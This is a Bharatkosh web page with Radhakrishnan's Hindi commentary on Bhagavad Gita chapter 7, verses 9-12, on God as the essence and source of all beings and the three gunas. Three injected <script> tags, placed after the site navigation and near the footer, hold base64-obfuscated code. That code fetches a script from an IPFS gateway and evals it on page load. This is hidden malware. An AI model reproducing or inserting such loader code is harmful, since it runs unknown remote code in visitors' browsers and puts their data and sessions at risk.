भगवद्गीता -राधाकृष्णन पृ. 170

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अध्याय-7
ईश्वर और जगत् ईश्वर प्रकृति और आत्मा है

  
9.पृथ्वी गन्धः पृथिव्यां च तेजश्चास्मि विभावसौ।
जीवनं सर्वभूतेषु तपश्चास्मि तपस्विषु।।
पृथ्वी में मैं विशुद्ध सुगन्ध हूं और अग्नि में चमक हूं। सब विद्यमान वस्तुओं में मैं जीवन हूं और तपस्वियों में तप हूं। तुलना कीजिए: ’’तू सत्य है, तू दिव्य आत्मा है; तू भौतिक जड़तत्व नहीं है, न तू जीवनहीन है; तू सारे जगत् का जीवन है और सब प्राणियों का भी जीवन है।’’[१]
     
10.बींज मां सर्वभूतानां विद्धि पार्थ सनातनम्।
बुद्धिर्बुद्धिमतामस्मि तेजस्तेजस्विनामहम्।।
हे पार्थ (अर्जुन), तू मुझे सब विद्यमान वस्तुओं का सनातन बीज समझ। मैं बुद्धिमानों की बुद्धि हूं और तेजस्वियों का तेज हूं।
 
11.बलं बलवतां चाहं कामरागविवर्जितम्।
धर्माविरुद्धो भूतेषु कामोअस्मि भरतवर्षभ।।
मैं काम (इच्छा) और राग (प्रेम) से रहित बलवानों का बल हूं। हे भरतों में श्रेष्ठ (अर्जुन), सब प्राणियों में मैं धर्म के अनुकूल रहने वाली लालसा हूं।कामराग: इच्छा और प्रेम। शंकराचार्य ने इन दोनों में भेद करते हुए काम को अप्राप्त[२] वस्तु की लालसा और राग को प्राप्त[३] वस्तु के प्रति प्रेम बताया है। इच्छा अपने-आप मे बुरी वस्तु नहीं है। स्वार्थपूर्ण इच्छा का उन्मूलन किया जाना चाहिए। ब्रह्म के साथ संयोग की इच्छा बुरी नहीं है। छान्दोग्य उपनिषद् में इच्छाओं को मूलतः वास्तविक (सत्य) बताया गया है, यद्यपि उनके ऊपर अवास्तविक (अनृत) का आवरण रहता है; 8, 3। हमारी इच्छाएं और गतिविधयां, यदि वे हममें विद्यमान आत्मा को अभिव्यक्त करने वाली हों और वे सच्चे आत्मिक व्यक्तित्व से निकली हों, तो दैवीय इच्छा का विशुद्ध प्रवाह बन जाती हैं।
 
 
12.ये चैव सात्विका भावा राजसास्तामसाश्च ये।
मत्त एवेति तान्विद्धि न त्वहं तेषु ते मयि।।
और जितने भी भाव हैं, चाहे वे लयात्मक (सात्विक), आवेशपूर्ण (राजस), या आलस्यपूर्ण (तामस) हों, वे सब केवल मुझसे ही उत्पन्न हुए हैं, इस बात को तू समझ ले। मैं उनमें नहीं हूं, वे मुझमें हैं। लेखक सांख्य के प्रकृति की स्वाधीनता वाले सिद्धान्तों को अस्वीकार कर देता है। वह स्पष्ट कहता है कि इन तीनों गुणों द्वारा बनी हुई प्रत्येक वस्तु किसी भी अर्थ में परमात्मा से स्वतन्त्र, आत्मनिर्भर तत्व नहीं है, अपितु केवल उस परमात्मा से ही उत्पन्न होती है। वह परमात्मा इन सब वस्तुओं को अपने अन्दर रखता है और इनमें व्याप्त है, जब कि ये वस्तुएं उसे अपने अन्दर नहीं रखती और उसमें व्याप्त नहीं हैं। परमात्मा और उसके प्राणियों में यही भेद किया गया है। वे सब ब्रह्म द्वारा सूचित होते हैं, परन्तु उनके परिवर्तन ब्रह्म की अखण्डता को स्पर्श नहीं करते। वह किसी अन्य वस्तु के अधीन नहीं है, जब कि सब वस्तुएं उसके अधीन हैं।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. त्वं सत्यं देवदेवात्मं न जडो न मृतोअपि वा। जगंता जीवितं च त्वं प्राणिनां जीवितं तथा।।
  2. कामः तृष्णा असन्निकृष्टेषु विषयेषु।
  3. रागः रज्जना प्राप्तेषु विषयेषु।

संबंधित लेख

साँचा:भगवद्गीता -राधाकृष्णन